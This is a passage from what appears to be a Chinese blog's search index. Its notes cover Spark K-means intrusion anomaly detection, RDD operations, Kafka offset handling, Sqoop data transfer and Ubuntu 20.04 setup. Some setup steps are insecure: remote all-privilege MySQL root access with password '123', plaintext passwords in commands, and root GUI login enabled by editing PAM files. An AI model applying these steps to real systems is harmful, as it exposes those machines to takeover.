VectorAssembler(inputCols=list(assembleCols), outputCol=\"featureVector\") scaler = StandardScaler(inputCol=\"featureVector\", outputCol=\"scaledFeatureVector\", withStd=True, withMean=False) kmeans = KMeans().setSeed(int(random.random()*10)).setK(k).setPredictionCol(\"cluster\").setFeaturesCol(\"scaledFeatureVector\").setMaxIter(40).setTol(1.0e-5) pipeline = Pipeline().setStages([protoTypeEncoder, serviceEncoder, flagEncoder, assembler, scaler, kmeans]) pipelineModel = pipeline.fit(data) return pipelineModel# 良好的聚类结果簇中样本类别大体相同，因而熵值较低。对各个簇的熵加权平均，将结果作为聚类得分def clusteringScore4(data, k): pipelineModel = fitPipeline4(data, k) clusterLabel = pipelineModel.transform(data).select(\"cluster\", \"label\") pd=clusterLabel.toPandas() Sum=0 for name, group in pd.groupby(\"cluster\"): labelsize=group.count()[0] a=numpy.array(group.groupby('label').count()) b=[] for i in range(len(a)): for j in range(len(a[i])): b.append(a[i][j]) One=labelsize*entropy(numpy.array(b)) Sum=Sum+One return Sum/data.count()for k in range(60, 300, 30): print([k, clusteringScore4(dataDF, k)]) 输出结果： [60, 0.038993775215004474][90, 0.02985377476611417][120, 0.02266161774992263][150, 0.020766076760220943][180, 0.017547365257679748][210, 0.012974819022593053][240, 0.007150061376894767][270, 0.00833981903044443] 跟以前一样，可以根据上面的分析结果大致看出 k 的合适取值。随着 k 的增加，熵不一定会减小，因此我们找到的可能是一个局部最小值。这里结果同样表明，k 取 240 可能比较合理，因为它的得分实际上低于 210 以及 270。 聚类实战取 k=180 pipelineModel = fitPipeline4(dataDF, 180)countByClusterLabel = pipelineModel.transform(dataDF).select(\"cluster\", \"label\").groupBy(\"cluster\", \"label\").count().orderBy(\"cluster\", \"label\")countByClusterLabel.show() 这里我们同样把每个簇的标号打印出来。聚类的结果中大部分属于同一簇，以及其他的少部分簇。 +-------+----------+-------+ |cluster| label| count|+-------+----------+-------+| 0| neptune.| 362876|| 0|portsweep.| 1|| 1| ipsweep.| 40|| 1| nmap.| 6|| 1| normal.| 3421|| 1|portsweep.| 2|| 1| satan.| 11|| 1| smurf.|2807886|| 2| neptune.| 1038|| 2|portsweep.| 13|| 2| satan.| 3|| 3| ipsweep.| 13|| 3| neptune.| 1046|| 3| normal.| 38|| 3|portsweep.| 11|| 3| satan.| 3|| 4| neptune.| 1034|| 4| normal.| 4|| 4|portsweep.| 7|| 4| satan.| 4|+-------+----------+-------+only showing top 20 rows 现在可以建立一个真正的异常检测系统了。异常检测时需要度量新数据点到最近的簇质心 的距离。如果这个距离超过某个阈值，那么就表示这个新数据点是异常的。我们可以把阈 值设为已知数据中离中心最远的第 100 个点到中心的距离。 import os, tempfilefrom pyspark.ml.linalg import Vector, VectorspipelineModel = fitPipeline4(dataDF, 180)kmeansModel = pipelineModel.stages[-1]kmeansModel.save(\"/model/3/kmeansModel\")pipelineModel.save(\"/model/3/pipelineModel\")centroids = kmeansModel.clusterCenters()clustered = pipelineModel.transform(dataDF)threshold=clustered.select(\"cluster\", \"scaledFeatureVector\").rdd.map(lambda a:Vectors.squared_distance(centroids[a.cluster], a.scaledFeatureVector)).sortBy(lambda x: x).take(100)[-1]print(threshold) 输出阈值： 3.232811853048799e-05 最后一步就是在新数据点出现的时候使用阈值进行评估。在 unlabled 数据上进行测试找出异常流量记录，并计算正确率。 clustered = pipelineModel.transform(testDF)anomalies = clustered.rdd.filter(lambda a:Vectors.squared_distance(centroids[a.cluster], a.scaledFeatureVector) &gt;= threshold).collect()n=len(anomalies)v=0for i in anomalies: if i[\"label\"]!='normal.': v=v+1print(\"正确率:\"+str(float(v)/n)) 输出结果： 正确率:0.8051841158484633 取 k=240 import os, tempfilefrom pyspark.ml.linalg import Vector, VectorspipelineModel = fitPipeline4(dataDF, 240)kmeansModel = pipelineModel.stages[-1]kmeansModel.save(\"/model/3/test/kmeansModel\")pipelineModel.save(\"/model/3/test/pipelineModel\")centroids = kmeansModel.clusterCenters()clustered = pipelineModel.transform(dataDF)threshold=clustered.select(\"cluster\", \"scaledFeatureVector\").rdd.map(lambda a:Vectors.squared_distance(centroids[a.cluster], a.scaledFeatureVector)).sortBy(lambda x: x).take(100)[-1]print(threshold) 7.665805787851659e-06 clustered = pipelineModel.transform(testDF)anomalies = clustered.rdd.filter(lambda a:Vectors.squared_distance(centroids[a.cluster], a.scaledFeatureVector) &gt;= threshold).collect()n=len(anomalies)v=0for i in anomalies: if i[\"label\"]!='normal.': v=v+1print(\"正确率:\"+str(float(v)/n)) 正确率:0.8050769488123118 可以看出 K=180 是在 unlabled 数据上进行测试找出异常流量记录，计算正确率比 K=240 有较好的结果。 缩短计算的步长： for k in range(150, 220, 10): print([k, clusteringScore3(dataDF, k)]) 得到评分结果： [150, 2.292921780026778][160, 4.917845778754763][170, 2.0016455721528015][180, 1.7177635513092788][190, 1.5766159846344556][200, 1.5550587983858675][210, 1.2785418817225693] 局部放大： 取 k=190 import os, tempfilefrom pyspark.ml.linalg import Vector, VectorspipelineModel = fitPipeline4(dataDF, 190)kmeansModel = pipelineModel.stages[-1]kmeansModel.save(\"/model/3/190/kmeansModel\")pipelineModel.save(\"/model/3/190/pipelineModel\")centroids = kmeansModel.clusterCenters()clustered = pipelineModel.transform(dataDF)threshold=clustered.select(\"cluster\", \"scaledFeatureVector\").rdd.map(lambda a:Vectors.squared_distance(centroids[a.cluster], a.scaledFeatureVector)).sortBy(lambda x: x).take(100)[-1]print(threshold) 3.247829147436459e-05 clustered = pipelineModel.transform(testDF)anomalies = clustered.rdd.filter(lambda a:Vectors.squared_distance(centroids[a.cluster], a.scaledFeatureVector) &gt;= threshold).collect()n=len(anomalies)v=0for i in anomalies: if i[\"label\"]!='normal.': v=v+1print(\"正确率:\"+str(float(v)/n)) 正确率:0.8051841158484633 可以看出 K=190 是在 unlabled 数据上进行测试找出异常流量记录，计算正确率比 K=180 有较好的结果。"},{"title":"","date":"2020-05-20T07:45:00.000Z","updated":"2022-05-10T02:12:00.000Z","comments":true,"path":"notes/Spark/rdd.html","permalink":"https://blog.mhuig.top/notes/Spark/rdd","excerpt":"","text":"RDD Spark RDD 编程 RDD 编程基础RDD 创建从文件系统中加载数据创建 RDDSpark 采用 textFile() 方法来从文件系统中加载数据创建 RDD该方法把文件的 URI 作为参数，这个 URI 可以是 本地文件系统的地址 分布式文件系统 HDFS 的地址 AmazonS3 的地址 等等 从本地文件系统中加载数据创建 RDD&gt;&gt;&gt; lines = sc.textFile(\"file:///usr/local/spark/mycode/rdd/word.txt\")&gt;&gt;&gt; lines.foreach(print)Hadoop is goodSpark is fastSpark is better 从分布式文件系统 HDFS 中加载数据&gt;&gt;&gt; lines = sc.textFile(\"hdfs://localhost:9000/user/hadoop/word.txt\")&gt;&gt;&gt; lines = sc.textFile(\"/user/hadoop/word.txt\")&gt;&gt;&gt; lines = sc.textFile(\"word.txt\") 通过并行集合（列表）创建 RDD可以调用 SparkContext 的 parallelize 方法，在 Driver 中一个已经存在的集合（列表）上创建。 &gt;&gt;&gt; array = [1,2,3,4,5]&gt;&gt;&gt; rdd = sc.parallelize(array)&gt;&gt;&gt; rdd.foreach(print)12345 RDD 操作转换操作对于 RDD 而言，每一次转换操作都会产生不同的 RDD，供给下一个 “转换” 使用.转换得到的 RDD 是惰性求值的，也就是说，整个转换过程只是记录了转换的轨迹，并不会发生真正的计算，只有遇到行动操作时，才会发生真正的计算，开始从血缘关系源头开始，进行物理的转换操作. 操作 含义 filter(func) 筛选出满足函数 func 的元素，并返回一个新的数据集 map(func) 将每个元素传递到函数 func 中，并将结果返回为一个新的数据集 flatMap(func) 与 map () 相似，但每个输入元素都可以映射到 0 或多个输出结果 groupByKey() 应用于 (K,V) 键值对的数据集时，返回一个新的 (K,Iterable) 形式的数据集 reduceByKey(func) 应用于 (K,V) 键值对的数据集时，返回一个新的 (K,V) 形式的数据集，其中每个值是将每个 key 传递到函数 func 中进行聚合后的结果 filter(func)筛选出满足函数 func 的元素，并返回一个新的数据集 &gt;&gt;&gt; lines = sc.textFile(\"file:///usr/local/spark/mycode/rdd/word.txt\")&gt;&gt;&gt; linesWithSpark = lines.filter(lambda line: \"Spark\" in line)&gt;&gt;&gt; linesWithSpark.foreach(print)Spark is betterSpark is fast map(func)map(func) 操作将每个元素传递到函数 func 中，并将结果返回为一个新的数据集 &gt;&gt;&gt; data = [1,2,3,4,5]&gt;&gt;&gt; rdd1 = sc.parallelize(data)&gt;&gt;&gt; rdd2 = rdd1.map(lambda x:x+10)&gt;&gt;&gt; rdd2.foreach(print)1113121415 flatMap(func)&gt;&gt;&gt; lines = sc.textFile(\"file:///usr/local/spark/mycode/rdd/word.txt\")&gt;&gt;&gt; words = lines.flatMap(lambda line:line.split(\" \")) groupByKey()应用于 (K,V) 键值对的数据集时，返回一个新的 (K, Iterable) 形式的数据集 &gt;&gt;&gt; words = sc.parallelize([(\"Hadoop\",1),(\"is\",1),(\"good\",1), \\... (\"Spark\",1),(\"is\",1),(\"fast\",1),(\"Spark\",1),(\"is\",1),(\"better\",1)])&gt;&gt;&gt; words1 = words.groupByKey()&gt;&gt;&gt; words1.foreach(print)('Hadoop', &lt;pyspark.resultiterable.ResultIterable object at 0x7fb210552c88&gt;)('better', &lt;pyspark.resultiterable.ResultIterable object at 0x7fb210552e80&gt;)('fast', &lt;pyspark.resultiterable.ResultIterable object at 0x7fb210552c88&gt;)('good', &lt;pyspark.resultiterable.ResultIterable object at 0x7fb210552c88&gt;)('Spark', &lt;pyspark.resultiterable.ResultIterable object at 0x7fb210552f98&gt;)('is', &lt;pyspark.resultiterable.ResultIterable object at 0x7fb210552e10&gt;) reduceByKey(func)应用于 (K,V) 键值对的数据集时，返回一个新的 (K, V) 形式的数据集，其中的每个值是将每个 key 传递到函数 func 中进行聚合后得到的结果 &gt;&gt;&gt; words = sc.parallelize([(\"Hadoop\",1),(\"is\",1),(\"good\",1),(\"Spark\",1), \\... (\"is\",1),(\"fast\",1),(\"Spark\",1),(\"is\",1),(\"better\",1)])&gt;&gt;&gt; words1 = words.reduceByKey(lambda a,b:a+b)&gt;&gt;&gt; words1.foreach(print) ('good', 1)('Hadoop', 1)('better', 1)('Spark', 2)('fast', 1)('is', 3) 行动操作行动操作是真正触发计算的地方。Spark 程序执行到行动操作时，才会执行真正的计算，从文件中加载数据，完成一次又一次转换操作，最终，完成行动操作得到结果。 操作 含义 count() 返回数据集中的元素个数 collect() 以数组的形式返回数据集中的所有元素 first() 返回数据集中的第一个元素 take(n) 以数组的形式返回数据集中的前 n 个元素 reduce(func) 通过函数 func（输入两个参数并返回一个值）聚合数据集中的元素 foreach(func) 将数据集中的每个元素传递到函数 func 中运行 惰性机制所谓的 “惰性机制” 是指，整个转换过程只是记录了转换的轨迹，并不会发生真正的计算，只有遇到行动操作时，才会触发 “从头到尾” 的真正的计算这里给出一段简单的语句来解释 Spark 的惰性机制 &gt;&gt;&gt; lines = sc.textFile(\"file:///usr/local/spark/mycode/rdd/word.txt\")&gt;&gt;&gt; lineLengths = lines.map(lambda s:len(s))&gt;&gt;&gt; totalLength = lineLengths.reduce(lambda a,b:a+b)&gt;&gt;&gt; print(totalLength) 持久化在 Spark 中，RDD 采用惰性求值的机制，每次遇到行动操作，都会从头开始执行计算。每次调用行动操作，都会触发一次从头开始的计算。这对于迭代计算而言，代价是很大的，迭代计算经常需要多次重复使用同一组数据 &gt;&gt;&gt; list = [\"Hadoop\",\"Spark\",\"Hive\"]&gt;&gt;&gt; rdd = sc.parallelize(list)&gt;&gt;&gt; print(rdd.count()) //行动操作，触发一次真正从头到尾的计算3&gt;&gt;&gt; print(','.join(rdd.collect())) //行动操作，触发一次真正从头到尾的计算Hadoop,Spark,Hive 可以通过持久化（缓存）机制避免这种重复计算的开销 可以使用 persist() 方法对一个 RDD 标记为持久化 之所以说 “标记为持久化”，是因为出现 persist() 语句的地方，并不会马上计算生成 RDD 并把它持久化，而是要等到遇到第一个行动操作触发真正计算以后，才会把计算结果进行持久化 持久化后的 RDD 将会被保留在计算节点的内存中被后面的行动操作重复使用 &gt;&gt;&gt; list = [\"Hadoop\",\"Spark\",\"Hive\"]&gt;&gt;&gt; rdd = sc.parallelize(list)&gt;&gt;&gt; rdd.cache() #会调用persist(MEMORY_ONLY)，但是，语句执行到这里，并不会缓存rdd，因为这时rdd还没有被计算生成&gt;&gt;&gt; print(rdd.count()) #第一次行动操作，触发一次真正从头到尾的计算，这时上面的rdd.cache()才会被执行，把这个rdd放到缓存中3&gt;&gt;&gt; print(','.join(rdd.collect())) #第二次行动操作，不需要触发从头到尾的计算，只需要重复使用上面缓存中的rddHadoop,Spark,Hive 分区RDD 是弹性分布式数据集，通常 RDD 很大，会被分成很多个分区，分别保存在不同的节点上RDD 分区的一个原则是使得分区的个数尽量等于集群中的 CPU 核心（core）数目 键值对 RDD键值对 RDD 的创建从文件中加载可以采用多种方式创建键值对 RDD，其中一种主要方式是使用 map() 函数来实现 &gt;&gt;&gt; lines = sc.textFile(\"file:///usr/local/spark/mycode/pairrdd/word.txt\")&gt;&gt;&gt; pairRDD = lines.flatMap(lambda line:line.split(\" \")).map(lambda word:(word,1))&gt;&gt;&gt; pairRDD.foreach(print)('I', 1)('love', 1)('Hadoop', 1)…… 通过并行集合（列表）创建 RDD&gt;&gt;&gt; list = [\"Hadoop\",\"Spark\",\"Hive\",\"Spark\"]&gt;&gt;&gt; rdd = sc.parallelize(list)&gt;&gt;&gt; pairRDD = rdd.map(lambda word:(word,1))&gt;&gt;&gt; pairRDD.foreach(print)(Hadoop,1)(Spark,1)(Hive,1)(Spark,1) 常用的键值对 RDD 转换操作reduceByKey(func)使用 func 函数合并具有相同键的值 &gt;&gt;&gt; pairRDD = sc.parallelize([(\"Hadoop\",1),(\"Spark\",1),(\"Hive\",1),(\"Spark\",1)])&gt;&gt;&gt; pairRDD.reduceByKey(lambda a,b:a+b).foreach(print)('Spark', 2)('Hive', 1)('Hadoop', 1) groupByKey()对具有相同键的值进行分组 &gt;&gt;&gt; list = [(\"spark\",1),(\"spark\",2),(\"hadoop\",3),(\"hadoop\",5)]&gt;&gt;&gt; pairRDD = sc.parallelize(list)&gt;&gt;&gt; pairRDD.groupByKey()PythonRDD[27] at RDD at PythonRDD.scala:48&gt;&gt;&gt; pairRDD.groupByKey().foreach(print)('hadoop', &lt;pyspark.resultiterable.ResultIterable object at 0x7f2c1093ecf8&gt;)('spark', &lt;pyspark.resultiterable.ResultIterable object at 0x7f2c1093ecf8&gt;) sortByKey()返回一个根据键排序的 RDD &gt;&gt;&gt; list = [(\"Hadoop\",1),(\"Spark\",1),(\"Hive\",1),(\"Spark\",1)]&gt;&gt;&gt; pairRDD = sc.parallelize(list)&gt;&gt;&gt; pairRDD.foreach(print)('Hadoop', 1)('Spark', 1)('Hive', 1)('Spark', 1)&gt;&gt;&gt; pairRDD.sortByKey().foreach(print)('Hadoop', 1)('Hive', 1)('Spark', 1)('Spark', 1) mapValues(func)对键值对 RDD 中的每个 value 都应用一个函数，但是，key 不会发生变化 &gt;&gt;&gt; list = [(\"Hadoop\",1),(\"Spark\",1),(\"Hive\",1),(\"Spark\",1)]&gt;&gt;&gt; pairRDD = sc.parallelize(list)&gt;&gt;&gt; pairRDD1 = pairRDD.mapValues(lambda x:x+1)&gt;&gt;&gt; pairRDD1.foreach(print)('Hadoop', 2)('Spark', 2)('Hive', 2)('Spark', 2) joinjoin 就表示内连接。对于内连接，对于给定的两个输入数据集 (K,V1) 和 (K,V2)，只有在两个数据集中都存在的 key 才会被输出，最终得到一个 (K,(V1,V2)) 类型的数据集。 &gt;&gt;&gt; pairRDD1 = sc. \\... parallelize([(\"spark\",1),(\"spark\",2),(\"hadoop\",3),(\"hadoop\",5)])&gt;&gt;&gt; pairRDD2 = sc.parallelize([(\"spark\",\"fast\")])&gt;&gt;&gt; pairRDD3 = pairRDD1.join(pairRDD2)&gt;&gt;&gt; pairRDD3.foreach(print)('spark', (1, 'fast'))('spark', (2, 'fast'))"},{"title":"","date":"2021-02-07T13:57:00.000Z","updated":"2022-05-10T02:13:00.000Z","comments":true,"path":"notes/Spark/streaming-kafka.html","permalink":"https://blog.mhuig.top/notes/Spark/streaming-kafka","excerpt":"","text":"Streaming &amp; Kafka SparkStreaming 整合 Kafka SparkStreaming 整合 Kafkakafka 的两个重要版本 Kafka-0.8 consumer 在消费消息的时候会记录一个偏移量（offset） offset 偏移量记录上一次消费到哪里了，那么下一次我知道要从哪里继续消费数据 偏移量被保存在 Zookeeper 中 问题：在一个公司里可能有几百号人去消费 kafka 集群，这个时候 zookeeper 会面临高并发的读写（zookeeper 不擅长高并发读写，zookeeper 是有问题的）这个设计明显是有问题的 Kafka-0.10 不再在 zookeeper 中存储 offset 了 在 kafka 中设计了一个特殊 topic(__consumer_offset)，将所有的 consumer 中的所有 offset 存在了这个 topic 中 这个用来存储 offset 的 topic 默认 50 个分区，如果集群足够大的话那么这些分区也会均匀的分布在整个集群中支持高并发的读写，这样高并发的读写就不会成为瓶颈了 0.8-kafka (zookeeper) 和 0.10-kafka (kafka) 的 offset 是怎么提交的？ 自动提交 offset，这样整个系统就可能面临丢失数据的风险 SparkStreaming 防数据丢失设计Kafka 每隔 5 秒提交一次 offset，如果这样我们的程序就有可能丢数据，为什么？ SparkStreaming 读取到了 kafka 的数据（offset=100），还没有处理正好遇到了 5s 的时间间隔提交了 offset 这个时候 offset 已经提交了，但是等到处理的时候，发现处理失败了 这样重启的时候数据就发生了丢失，我们企业中当然是不允许数据丢失的 怎么解决丢数据的问题呢？ kafka-0.8：把自动提交 offset 关掉，改成手动提交 offset，但是这个时候有可能出现数据重复；因为你在提交 offset 的时候有可能失败，所以就会重复的消费数据进行处理，但是这个总好过丢数据，并且可以根据幂等性等一些方案对重复数据进行过滤，来保证数据不丢失的前提下保证唯一性 kafka-0.10：和 kafka-0.8 一样关闭自动提交 offset，改成手动提交，只是 offset 存储的地方不一样 实时处理系统中对数据处理的策略 At most once 一条记录要么被处理一次，要么没有被处理（丢数据） At least once 一条记录可能被处理一次或者多次，可能会重复处理（重复消费） Exactly once 一条记录只被处理一次（仅一次） 要想实现仅一次语义 数据的输入：从上一次 offset 读取数据 offset 数据的处理：Spark 本身就有容错，所以天然的就保证了 Exactly-Once 数据的输出：利用事务去实现"},{"title":"","date":"2021-02-07T13:40:00.000Z","updated":"2022-05-10T02:12:00.000Z","comments":true,"path":"notes/Spark/streaming.html","permalink":"https://blog.mhuig.top/notes/Spark/streaming","excerpt":"","text":"Streaming SparkStreaming 实时任务场景介绍2014 年的大数据的三剑客 Hadoop: 必须会使用 Java Hive: 大数据中使用最广泛的一个技术 Sql =&gt; MapReduce Storm : 人性是贪婪的，Hadoop 和 Hive 都是计算的离线的、历史的数据 后来的大数据的三剑客 Spark : 使用 SparkCore 内存计算提高了 MapReduce 的计算效率 Scala、Python、Java SparkSQL: Sql =&gt; Spark Core 任务 SparkStreaming/Flink 实时的应用场景：2020 淘宝双 11 成交额 4892 亿 实时计算就是来一个订单计算一个订单，每时每刻每秒都在统计 离线计算就是统计某个已经发生的时间段内的数据 例：淘宝在年底的时候计算 1.1-12.31 号的所有订单 坐电梯的时候需要凑够一波人坐电梯上去，把每一个人看作一个数据集攒了一定的人数之后一起坐电梯上去，我们会等待一定的时间统一处理数据，这个时候我们处理的就是历史数据了 特点 处理的是离线的数据 每次处理的数据量比较大 处理的时间比较长，比较慢 扶梯 1、处理的是实时的数据 2、每次处理的数据量不大 3、处理的时间比较短、比较快 数据流 实时任务处理的就是数据流，数据流其实只是一个形象的说法，指的是任务处理的数据像流水一样源源不断的过来，就像水龙头里面的水一样 SparkStreaming 程序入口剖析SparkCore核心抽象：RDD–Resiliennt Distributed Datasets 程序入口：val sc = new SparkContext(conf) 算子的操作：Transformation/Action SparkSQL核心抽象：DataFrame/DataSet 程序入口： Spark 1.x：new SQLContext(conf)、new HiveContext(conf) Spark 2.x/3.x：val ss = new SparkSession(conf) 算子的操作 / SQL SparkStreaming核心抽象：DStream 程序入口： val conf = new SparkConf().setAppName(\"SS\").setMaster(\"local[2]\")val sc = new SparkContext(conf)val ssc = new StreamingContext(sc,Seconds(1)) 算子操作（RDD 的算子操作在 SparkStreaming 上都可以用） DStream 核心抽象深度剖析1、SparkStreaming 的任务是基于 SparkCore，然后我们任务启动的时候，或者是初始化的时候都会有一个 Driver 的服务 2、Driver 端会发送 Receivers 到 Worker 里面，Receiver 其实说白了就是一个接收器，接收数据，这个 Receiver 具体就是表现为一个 Task 任务，默认情况下只有一个 Receiver 可以通过配置多个 3、Receiver 会接收数据，并且会把数据生成 block 块（1、生成文件块的依据是啥？）接着就把这些文件块（block）存入到 Executor 的内存里面，为了保证数据安全，默认这些数据是有副本的，在其它的 Executor 上存储副本 4、receiver 会把 block 的信息（元数据的信息）发送给 Driver 端 5、Driver 端会根据一定的时间间隔（2、封装 RDD 时间间隔是多少？）把这些 block 封装成为一个 RDD，然后进行计算 Receiver 把数据合并成 block 块的依据？ 每 200ms 生成一个 Block 1 个 block 对应 1 个 partition 对应 1 个 task 任务 Driver 将 Block 封装成 RDD 的时间间隔是？ 根据程序入口中的时间参数，如 ssc = new StreamingContext(sc,Seconds(1)) 就是每隔 1s 中将 block 块合封装成一个 RDD SparkStreaming 不是真正意义上的实时计算，不是真的来一条数据就处理一条数据；微批处理，只不过间隔较短，每次数据里的数据量不大，然后又比较快，所以我们就把它认为实时处理了！！！准实时处理 时间间隔： Batch interval 指的就是我们的这个实时任务多久运行一次，这个是我们获取程序入口的时候自己指定的 block interval 默认是 200 ms 一个一个的 RDD 的流就被 Spark 抽象为 DStream RDD 流 = DStream 快速上手引入类库 import org.apache.spark.streaming.dstream.{DStream, ReceiverInputDStream}import org.apache.spark.streaming.{Seconds, StreamingContext}import org.apache.spark.{SparkConf, SparkContext}import org.apache.log4j.{Level, Logger} 步骤 1：初始化程序入口 步骤 2：通过数据源获取数据（数据输入） 步骤 3：进行算子的操作，实现业务（数据处理） 步骤 4：数据的输出 步骤 5：启动任务 步骤 6：等待任务结束"},{"title":"","date":"2022-05-10T06:36:00.000Z","updated":"2022-05-10T06:36:00.000Z","comments":true,"path":"notes/Sqoop/index.html","permalink":"https://blog.mhuig.top/notes/Sqoop/","excerpt":"","text":".fa-secondary{opacity:.4} Sqoop Sqoop .prev-next{ display: none !important; }"},{"title":"","date":"2019-05-11T03:35:00.000Z","updated":"2022-05-11T03:35:00.000Z","comments":true,"path":"notes/Sqoop/overview.html","permalink":"https://blog.mhuig.top/notes/Sqoop/overview","excerpt":"","text":"Overview 大数据处理技术 - sqoop 数据迁移 概述 sqoop 是 apache 旗下一款 Hadoop 和关系数据库服务器之间传送数据 的工具。 导入数据：MySQL，Oracle 导入数据到 Hadoop 的 HDFS、HIVE、HBASE 等数据存储系统； 导出数据：从 Hadoop 的文件系统中导出数据到关系数据库 mysql 等 sqoop1 与 sqoop2 架构对比sqoop1 架构 sqoop2 架构 工作机制将导入或导出命令翻译成 mapreduce 程序来实现 在翻译出的 mapreduce 中主要是对 inputformat 和 outputformat 进行定制"},{"title":"","date":"2019-05-11T03:36:00.000Z","updated":"2022-05-12T06:54:00.000Z","comments":true,"path":"notes/Sqoop/uses.html","permalink":"https://blog.mhuig.top/notes/Sqoop/uses","excerpt":"","text":"安装部署 大数据处理技术 - sqoop 实战及原理 下载并解压安装 sqoop 的前提是已经具备 java 和 hadoop 的环境 下载地址http://archive.cloudera.com/cdh5/cdh/5/sqoop1 版本详细下载地址http://archive.cloudera.com/cdh5/cdh/5/sqoop-1.4.6-cdh5.14.0.tar.gzsqoop2 版本详细下载地址http://archive.cloudera.com/cdh5/cdh/5/sqoop2-1.99.5-cdh5.14.0.tar.gz 我们这里使用 sqoop1 的版本，下载之后上传到 /export/softwares 目录下，然后进行解压 cd /export/softwarestar -zxvf sqoop-1.4.6-cdh5.14.0.tar.gz -C ../servers/ 修改配置文件cd /export/servers/sqoop-1.4.6-cdh5.14.0/conf/cp sqoop-env-template.sh sqoop-env.shvim sqoop-env.sh sqoop-env.shexport HADOOP_COMMON_HOME=/export/servers/hadoop-2.6.0-cdh5.14.0export HADOOP_MAPRED_HOME=/export/servers/hadoop-2.6.0-cdh5.14.0export HIVE_HOME=/export/servers/hive-1.1.0-cdh5.14.0 加入额外的依赖包sqoop 的使用需要添加两个额外的依赖包，一个是 mysql 的驱动包，一个是 java-json 的的依赖包，不然就会报错 mysql-connector-java-5.1.40.jarjava-json.jar 验证启动cd /export/servers/sqoop-1.4.6-cdh5.14.0bin/sqoop-version Sqoop 的数据导入“导入工具” 导入单个表从 RDBMS 到 HDFS。表中的每一行被视为 HDFS 的记录。所有记录都存储为文本文件的文本数据（或者 Avro、sequence 文件等二进制数据） 列举出所有的数据库 命令行查看帮助 bin/sqoop list-databases --help 列出 win10 主机所有的数据库:开启本地数据库远程连接权限: GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123' WITH GRANT OPTION;flush privileges; bin/sqoop list-databases --connect jdbc:mysql://192.168.52.120:3306/ --username root --password 123456 bin/sqoop list-databases --connect jdbc:mysql://10.6.67.200:3306/ --username root --password 123 查看某一个数据库下面的所有数据表 bin/sqoop list-tables --connect jdbc:mysql://10.6.67.200:3306/test00 --username root --password 123 导入数据库表数据到 HDFS下面的命令用于从 MySQL 数据库服务器中的 emp 表导入 HDFS。 bin/sqoop import --connect jdbc:mysql://10.6.67.200:3306/test00 --password 123 --username root --table emp --m 1 为了验证在 HDFS 导入的数据，请使用以下命令查看导入的数据 hdfs dfs -ls /user/root/emp 导入到 HDFS 指定目录在导入表数据到 HDFS 使用 Sqoop 导入工具，我们可以指定目标目录。使用参数 –target-dir 来指定导出目的地，使用参数 —delete-target-dir 来判断导出目录是否存在，如果存在就删掉 bin/sqoop import --connect jdbc:mysql://10.6.67.200/test00 --username root --password 123 --delete-target-dir --table emp --target-dir /sqoop/emp --m 1 查看导出的数据 hdfs dfs -text /sqoop/emp/part-m-00000 它会用逗号（，）分隔 emp_add 表的数据和字段。 导入到 hdfs 指定目录并指定字段之间的分隔符bin/sqoop import --connect jdbc:mysql://10.6.67.200:3306/test00 --username root --password 123 --delete-target-dir --table emp --target-dir /sqoop/emp3 --m 1 --fields-terminated-by '\\t' 查看文件内容 hdfs dfs -text /sqoop/emp3/part-m-00000 Sqoop 的数据导出将数据从 HDFS 把文件导出到 RDBMS 数据库导出前，目标表必须存在于目标数据库中。 默认操作是从将文件中的数据使用 INSERT 语句插入到表中 更新模式下，是生成 UPDATE 语句更新表数据 hdfs 导出到 mysql数据是在 HDFS 当中的如下目录 /sqoop/emp，数据内容如下 第一步：创建 mysql 表 CREATE TABLE emp_out( EMPNO int PRIMARY KEY, #员工编号 ENAME VARCHAR(10), #员工姓名 JOB VARCHAR(9), #员工工作 MGR int, #员工直属领导编号 HIREDATE DATE, #入职时间 SAL double, #工资 COMM double, #奖金 DEPTNO int #对应 dept 表的外键); 第二步：执行导出命令 通过 export 来实现数据的导出，将 hdfs 的数据导出到 mysql 当中去 bin/sqoop export \\--connect jdbc:mysql://10.6.67.200:3306/test00 \\--username root --password 123 \\--table emp_out \\--export-dir /sqoop/emp \\--input-fields-terminated-by \",\" 第三步：验证 mysql 表数据"},{"title":"","date":"2020-05-06T08:30:00.000Z","updated":"2022-05-12T08:36:00.000Z","comments":true,"path":"notes/Ubuntu/20.04.html","permalink":"https://blog.mhuig.top/notes/Ubuntu/20.04","excerpt":"","text":"Ubuntu 20.04 LTS Ubuntu 20.04 LTS 在虚拟机中的安装配置 Ubuntu 20.04 LTS 的支持周期长达 5 年，同时适用于 Ubuntu Desktop、Ubuntu Server、Ubuntu Cloud 和 Ubuntu Core，其安全和维护更新直到 2025 年 4 月才到期。其余 flavour 的支持也长达 3 年，更多详细信息请参考 Ubuntu 20.04 LTS 发行说明。 下载 Ubuntu 镜像文件官方下载地址（不推荐） https://www.ubuntu.com/download 中国官网（推荐） https://cn.ubuntu.com/ VMware 安装配置 创建新的虚拟机 桌面版系统安装配置 安装过程完成后，单击「现在重启」以完成整个过程，然后卸下安装介质并按「回车」键以重新引导系统。 服务器版系统安装配置 选择系统语言 - English键盘设置 - English网卡设置，默认。代理服务设置，无代理不填写镜像地址设置，建议换成国内镜像：http://mirrors.aliyun.com/ubuntu/空格选中 SSH 安装。环境，无需选择。开始安装，等待出现重启选项。安装完成，选择重启。 启用 root 用户 启用 root 用户 设置 root 用户使用 sudo passwd root 来设置 root 密码设置 root 密码 sudo passwd root然后使用 su root 命令，再输入密码，测试是否可以进入 root 用户进入 rootsu root修改 /root/.profile 文件运行 vim /root/.profile 命令修改文件，但是发现系统没有安装 vim，可以使用 apt install vim 命令自动安装vim 安装成功后，使用 vim /root/.profile 打开该文件（你也可以使用 nano）找到最后一行：mesg n || true，先注释掉，增加 tty -s &amp;&amp; mesg n || true 这行修改 /etc/pam.d/ 目录下文件运行 cd /etc/pam.d/，里面有两个要修改的文件，即 gdm-autologin 和 gdm-password运行 vim gdm-autologin，注释掉下面一行运行 vim gdm-password，注释掉下面一行重启系统或者虚拟机输入用户名 root，然后输入设置的 root 密码，使完成用 root 登录 更换国内源 更换国内源 备份 /etc/apt/sources.listsudo cp /etc/apt/sources.list /etc/apt/sources.list.bak修改 Ubuntu 的源列表修改 /etc/apt/sources.list 文件下的列表清华大学开源软件镜像站更新 aptsudo apt-get update 安装 SSH、配置 SSH 无密码登陆 配置 SSH 集群、单节点模式都需要用到 SSH 登陆（类似于远程登陆，你可以登录某台 Linux 主机，并且在上面运行命令），Ubuntu 默认已安装了 SSH client，此外还需要安装 SSH server：sudo apt-get install openssh-server安装后，可以使用如下命令登陆本机：ssh localhost利用 ssh-keygen 生成密钥，并将密钥加入到授权中：cd 